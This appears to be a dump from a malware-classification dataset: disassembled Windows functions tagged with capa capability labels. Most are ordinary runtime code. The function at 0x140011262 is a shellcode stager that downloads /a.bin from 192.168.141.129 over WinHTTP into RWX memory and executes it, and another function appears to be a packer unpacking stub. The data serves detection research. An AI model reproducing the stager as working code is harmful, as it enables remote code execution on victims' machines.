joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006a40
Capabilities:
Check if file exists

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
cmp qword [rcx], rdx
je 0x140006ab4
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
mov rcx, rsi
call fcn.140006ad0
lea rax, [rdi + 1]
cmp rax, 2
jb case.default.0x140006aad
mov qword [rsi], rdi
call fcn.140006670
mov rbx, rax
mov r15, qword [rsp + 0x58]
call sym.plugin_container.exe_GetHandleVerifier
mov rbp, qword [rax]
mov qword [rsp + 0x20], rbx
mov rcx, rax
mov rdx, rdi
mov r8, rsi
mov r9, r15
call qword [rbp + 8]
mov ecx, r14d
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
xor eax, 0xfb1b263b
push rbp
invalid
test al, 0x52
or dl, byte [rdx + rdx*4]
retf 0x76ef
jae 0x140078c69
jb 0x140078d33
and al, byte [rdi]
or dword [rcx - 0x7543831f], eax
cmc
invalid
invalid
invalid

Function at 0x140006b40
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x140
mov rax, qword [0x14003f010]
xor rax, rsp
mov qword [rsp + 0x138], rax
test rdx, rdx
je 0x140006bd0
mov rsi, rdx
mov rdi, rcx
mov r13d, 0xffffffff
lea r14, str.z:_task_1579288126_build_src_security_sandbox_chromium_base_rand_util_win.cc
lea r15, str.success
lea r12, [rsp + 0x28]
jmp 0x140006b98
add rdi, rbx
sub rsi, rbx
je 0x140006bd0
cmp rsi, r13
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
jne 0x140006b90
mov rcx, r12
mov rdx, r14
mov r8d, 0x20
mov r9, r15
call fcn.1400016f0
mov rcx, r12
call fcn.1400017f0
jmp 0x140006b90
mov rcx, qword [rsp + 0x138]
xor rcx, rsp
call fcn.1400365a0
nop
add rsp, 0x140
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000d550
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x14001a750]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000d5bf
mov rcx, r9
call fcn.14000d420
test eax, eax
je 0x14000d5bf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x14000d5bd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x14000d5b4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x14000d5bf
add rdx, 0x28
cmp rdx, r9
jne 0x14000d5a0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x1313f20
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1313f2d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1313f3d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1313f25
lea eax, [rcx + 1]
jmp 0x1313f4b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1313f5e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1313f44
sub eax, 3
jb 0x1313f7e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1313fcd
sar eax, 1
movsxd rbp, eax
jb 0x1313fb4
jmp 0x1313f8c
add ebx, ebx
jne 0x1313f8a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1313fb4
inc ecx
add ebx, ebx
jne 0x1313f9a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1313fb4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1313fad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1313f9c
add ecx, 2
jmp 0x1313fb9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.01313ee2
jmp 0x1313f2d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x84c00
mov dl, 0xe
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1314019
cmp rsi, rcx
jae 0x1314021
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1314000
cmp al, 0x8f
ja 0x1314000
cmp byte [rsi - 2], 0xf
je 0x1314006
sub al, 0xe8
cmp al, 1
ja 0x1313fea
cmp rsi, rcx
jae 0x1314021
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1313ff0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1314021
lodsb al, byte [rsi]
jmp 0x1314000
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xf10000]
mov eax, dword [rdi]
or eax, eax
je 0x131407e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xf14000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x131402e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1314078
mov qword [rbx], rax
add rbx, 8
jmp 0x131404e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x13140c2
cmp al, 0xef
ja 0x13140aa
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x131408a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x1314099
mov eax, dword [rdi]
add rdi, 4
jmp 0x1314099
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1314116
sub rsp, 0xffffffffffffff80
jmp 0x45e100
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x140012e60
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011262
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
jmp 0x1400117c0
push rbp
push rsi
push rdi
sub rsp, 0x250
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x54
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001c008]
xor rax, rbp
mov qword [rbp + 0x208], rax
lea rcx, [0x1400220a1]
call fcn.140011375
mov dword [rbp + 0x24], 0x1000
lea rax, [rbp + 0x48]
lea rcx, str.192.168.141.129
mov rdi, rax
mov rsi, rcx
mov ecx, 0x20
rep movsb byte [rdi], byte [rsi]
mov eax, 0x1f41
mov word [rbp + 0x84], ax
lea rax, [rbp + 0xa8]
lea rcx, str._a.bin
mov rdi, rax
mov rsi, rcx
mov ecx, 0xe
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rbp + 0x24]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_4.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbp + 0xd8], rax
xor r9d, r9d
movzx r8d, word [rbp + 0x84]
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbp + 0xf8], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0xa8]
lea rdx, [0x140019d38]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rbp + 0x118], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
lea r9, [rbp + 0x134]
mov r8d, dword [rbp + 0x24]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
call qword [rbp + 8]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x140019bc8]
call fcn.1400112fd
mov eax, edi
mov rcx, qword [rbp + 0x208]
xor rcx, rbp
call fcn.14001119f
lea rsp, [rbp + 0x210]
pop rdi
pop rsi
pop rbp
ret
Function at 0x14001126c
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400141b0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400141d0
xor al, al
jmp 0x140014251
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400141e3
xor al, al
jmp 0x140014251
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001420d
xor al, al
jmp 0x140014251
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014221
xor al, al
jmp 0x140014251
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014233
xor al, al
jmp 0x140014251
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001424f
xor al, al
jmp 0x140014251
mov al, 1
add rsp, 0x38
ret
Function at 0x140009038
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, r8
mov r9, rcx
xor ecx, ecx
movabs r8, 0xcbf29ce484222325
mov rsi, rdx
movzx eax, byte [rbx + rcx + 0x10]
movabs rdx, 0x100000001b3
xor r8, rax
inc rcx
imul r8, rdx
cmp rcx, 4
jb 0x14000905c
mov rdx, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x18]
and rdx, r8
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rbx
jne 0x1400090b3
cmp qword [rcx + rdx*8], rbx
jne 0x1400090a8
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x1400090ac
mov rax, qword [rbx + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400090c0
cmp qword [rcx + rdx*8], rbx
jne 0x1400090c0
mov rax, qword [rbx]
mov qword [rcx + rdx*8], rax
mov rax, qword [rbx + 8]
mov rdi, qword [rbx]
mov qword [rax], rdi
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [r9 + 0x10]
mov rdx, qword [rbx + 0x30]
cmp rdx, 8
jb 0x1400090f5
mov rcx, qword [rbx + 0x18]
inc rdx
mov r8d, 2
call fcn.1400020a4
mov edx, 1
mov rcx, rbx
lea r8d, [rdx + 0x37]
call fcn.1400020a4
mov rbx, qword [rsp + 0x30]
mov rax, rsi
mov qword [rsi], rdi
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x14000b51c
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_1.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x1400148a0], eax
call fcn.14000b2a4
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_1.dll_UnhandledExceptionFilter]
cmp dword [0x1400148a0], 0
jne case.default.0x14000b572
mov ecx, 1
call fcn.14000b2a4
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_2.dll_TerminateProcess]
stosd dword [rdi], eax
movabs eax, dword [0x5e2a7397b7367fed]
invalid
Function at 0x140001389
Capabilities:
Parse pe header

Disassembly:
jmp 0x14004fe58
xor r8d, r8d
xor edx, edx
jmp 0x14004fb48

Function at 0x140002130
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x140077c20
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x140099048]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rsi, qword [rsp + 0xa0]
lea r10, [0x14009bb78]
xor r11d, r11d
lea rdi, [0x140083c14]
test r9, r9
mov rax, rdx
mov r12, rdx
cmovne r10, r9
test rdx, rdx
lea ebp, [r11 + 1]
cmovne rdi, rdx
mov r15d, ebp
cmovne r15, r8
neg rax
sbb r14, r14
and r14, rcx
test r15, r15
jne 0x140077c90
mov rax, 0xfffffffffffffffe
jmp 0x140077ddd
cmp word [r10 + 6], r11w
jne 0x140077cff
movzx r9d, byte [rdi]
inc rdi
test r9b, r9b
js 0x140077cba
test r14, r14
je 0x140077cab
mov dword [r14], r9d
test r9b, r9b
setne r11b
mov rax, r11
jmp 0x140077ddd
mov al, r9b
and al, 0xe0
cmp al, 0xc0
jne 0x140077cc8
mov r8b, 2
jmp 0x140077ce6
mov al, r9b
and al, 0xf0
cmp al, 0xe0
jne 0x140077cd6
mov r8b, 3
jmp 0x140077ce6
mov al, r9b
and al, 0xf8
cmp al, 0xf0
jne 0x140077dd2
mov r8b, 4
movzx eax, r8b
mov ecx, 7
sub ecx, eax
mov edx, ebp
shl edx, cl
mov bl, r8b
sub edx, ebp
and edx, r9d
jmp 0x140077d28
mov r8b, byte [r10 + 4]
mov edx, dword [r10]
mov bl, byte [r10 + 6]
lea eax, [r8 - 2]
cmp al, 2
ja 0x140077dd2
cmp bl, bpl
jb 0x140077dd2
cmp bl, r8b
jae 0x140077dd2
movzx ebp, bl
cmp rbp, r15
mov r9d, ebp
cmovae r9, r15
jmp 0x140077d55
movzx ecx, byte [rdi]
inc rdi
mov al, cl
and al, 0xc0
cmp al, 0x80
jne 0x140077dd2
mov eax, edx
and ecx, 0x3f
shl eax, 6
mov edx, ecx
or edx, eax
mov rax, rdi
sub rax, r12
cmp rax, r9
jb 0x140077d37
cmp r9, rbp
jae 0x140077d81
movzx eax, r8b
sub bl, r9b
mov word [r10 + 4], ax
movzx eax, bl
mov word [r10 + 6], ax
mov dword [r10], edx
jmp 0x140077c84
lea eax, [rdx - 0xd800]
cmp eax, 0x7ff
jbe 0x140077dd2
cmp edx, 0x110000
jae 0x140077dd2
movzx eax, r8b
mov dword [rsp + 0x20], 0x80
mov dword [rsp + 0x24], 0x800
mov dword [rsp + 0x28], 0x10000
cmp edx, dword [rsp + rax*4 + 0x18]
jb 0x140077dd2
test r14, r14
je 0x140077dc0
mov dword [r14], edx
neg edx
mov rdx, r10
sbb rcx, rcx
and rcx, rbp
call fcn.140003959
jmp 0x140077ddd
mov rdx, rsi
mov rcx, r10
call fcn.140003f94
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14000258b
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140002176
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x14000ca38
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x14000cac5
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x14000cac5
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000cac5
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x14000caac
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x14000caa6
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x14000caae
add rdx, 0x28
jmp 0x14000ca8b
xor edx, edx
test rdx, rdx
jne 0x14000cab7
xor al, al
jmp 0x14000cacb
cmp dword [rdx + 0x24], 0
jge 0x14000cac1
xor al, al
jmp 0x14000cacb
mov al, 1
jmp 0x14000cacb
xor al, al
jmp 0x14000cacb
add rsp, 0x18
ret

Function at 0x1400026c6
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x14001aed0
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x140084bd8]
mov ecx, 2
lea r8, [0x140084bd0]
lea rdx, str.FlsGetValue
call fcn.14001a9a0
mov ecx, ebx
test rax, rax
je 0x14001af0a
add rsp, 0x20
pop rbx
jmp qword [0x1400a5020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x14000280b
Capabilities:
Query environment variable

Disassembly:
jmp 0x140061474
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400614a4
xor eax, eax
jmp 0x140061567
mov rbp, rbx
cmp word [rax], si
je 0x1400614c9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400614b0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400614ac
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140003161
movsxd r14, eax
test eax, eax
jne 0x140061507
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14006149d
mov rcx, r14
call fcn.140001037
mov rdi, rax
test rax, rax
jne 0x140061520
xor ecx, ecx
call fcn.140001168
jmp 0x1400614fc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140003161
test eax, eax
jne 0x140061551
mov rcx, rdi
call fcn.140001168
jmp 0x14006155b
xor ecx, ecx
call fcn.140001168
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000281a
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x14001ae20
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x140084b98]
xor ecx, ecx
lea r8, [0x140084b90]
lea rdx, str.FlsAlloc
call fcn.14001a9a0
test rax, rax
je 0x14001ae59
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x1400a5020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x140002892
Capabilities:
Get geographical location

Disassembly:
jmp 0x1400689b0
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov ebx, r9d
mov rdi, r8
mov esi, edx
lea r9, [0x140088b78]
mov rbp, rcx
lea r8, [0x140088b70]
lea rdx, str.GetLocaleInfoEx
mov ecx, 8
call fcn.140067ed0
test rax, rax
je 0x140068a10
movabs r10, 0xe375262d7cd44270
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call qword [0x1400a5030]
jmp 0x140068a2a
xor edx, edx
mov rcx, rbp
call fcn.1400021c6
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1400028a1
Capabilities:
Terminate process

Disassembly:
jmp 0x14007c7ac
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x1400029dc
Capabilities:
Parse pe header

Disassembly:
jmp 0x14004fdec
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x14004fb48

Function at 0x140002e64
Capabilities:
Parse pe header

Disassembly:
jmp 0x14000cfec
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000d036
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000d036
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000d036
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000d036
cmp dword [rcx + 0x84], 0xe
jbe 0x14000d036
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000d038
xor al, al
add rsp, 0x28
ret
Function at 0x1400032c4
Capabilities:
Terminate process

Disassembly:
jmp 0x140057520
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x14005753a
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
lea ecx, [r8 + 1]
call fcn.140003963
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140003a4e
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x14001af28
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x140084bf8]
mov edi, ecx
lea rdx, str.FlsSetValue
mov ecx, 3
lea r8, [0x140084bf0]
call fcn.14001a9a0
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x14001af68
call qword [0x1400a5020]
jmp 0x14001af6e
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140003bd4
Capabilities:
Parse pe header

Disassembly:
jmp 0x14004fddc
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14004fbb7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14004fbb7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14004fbb7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14004fbb7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14004fbb7
cmp dword [rcx + 0x84], 0xe
jbe 0x14004fbb7
cmp dword [rcx + 0xf8], 0
je 0x14004fbb7
mov ecx, ebx
call fcn.14004fd20
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14004f8a0
nop
cmp dword [rbp + 0x20], 0
je 0x14004fc05
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14004fc40
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14004fb48
Function at 0x140007c20
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0xc8
mov dword [rsp + 0xc4], r8d
mov dword [rsp + 0xc0], edx
mov qword [rsp + 0xb8], rcx
lea rcx, str.dsound.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
jne 0x140007c67
jmp 0x140007e56
mov rcx, qword [rsp + 0xb0]
lea rdx, str.DirectSoundCreate
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
je 0x140007cb3
xor eax, eax
mov r8d, eax
lea rdx, [rsp + 0xa0]
mov rcx, r8
call qword [rsp + 0xa8]
cmp eax, 0
jge 0x140007cb8
jmp 0x140007e56
lea rcx, [rsp + 0x8e]
xor edx, edx
mov r8d, 0x12
call fcn.140003111
mov word [rsp + 0x8e], 1
mov word [rsp + 0x90], 2
mov eax, dword [rsp + 0xc0]
mov dword [rsp + 0x92], eax
mov word [rsp + 0x9c], 0x10
movzx eax, word [rsp + 0x90]
movzx ecx, word [rsp + 0x9c]
imul eax, ecx
mov ecx, 8
cdq
idiv ecx
mov word [rsp + 0x9a], ax
mov eax, dword [rsp + 0x92]
movzx ecx, word [rsp + 0x9a]
imul eax, ecx
mov dword [rsp + 0x96], eax
mov word [rsp + 0x9e], 0
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xb8]
mov rax, qword [rcx]
mov r8d, 2
call qword [rax + 0x30]
cmp eax, 0
jge 0x140007d69
jmp 0x140007e56
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x28
call fcn.140003111
mov dword [rsp + 0x60], 0x28
mov dword [rsp + 0x64], 1
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x60]
lea r8, [rsp + 0x58]
xor r9d, r9d
call qword [rax + 0x18]
cmp eax, 0
jge 0x140007db4
jmp 0x140007e56
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
lea rdx, [rsp + 0x8e]
call qword [rax + 0x70]
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jl 0x140007de3
lea rcx, str.Primary_buffer_format_was_set._n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x28]
xor edx, edx
mov r8d, 0x28
call fcn.140003111
mov dword [rsp + 0x28], 0x28
mov dword [rsp + 0x2c], 0
mov eax, dword [rsp + 0xc4]
mov dword [rsp + 0x30], eax
lea rax, [rsp + 0x8e]
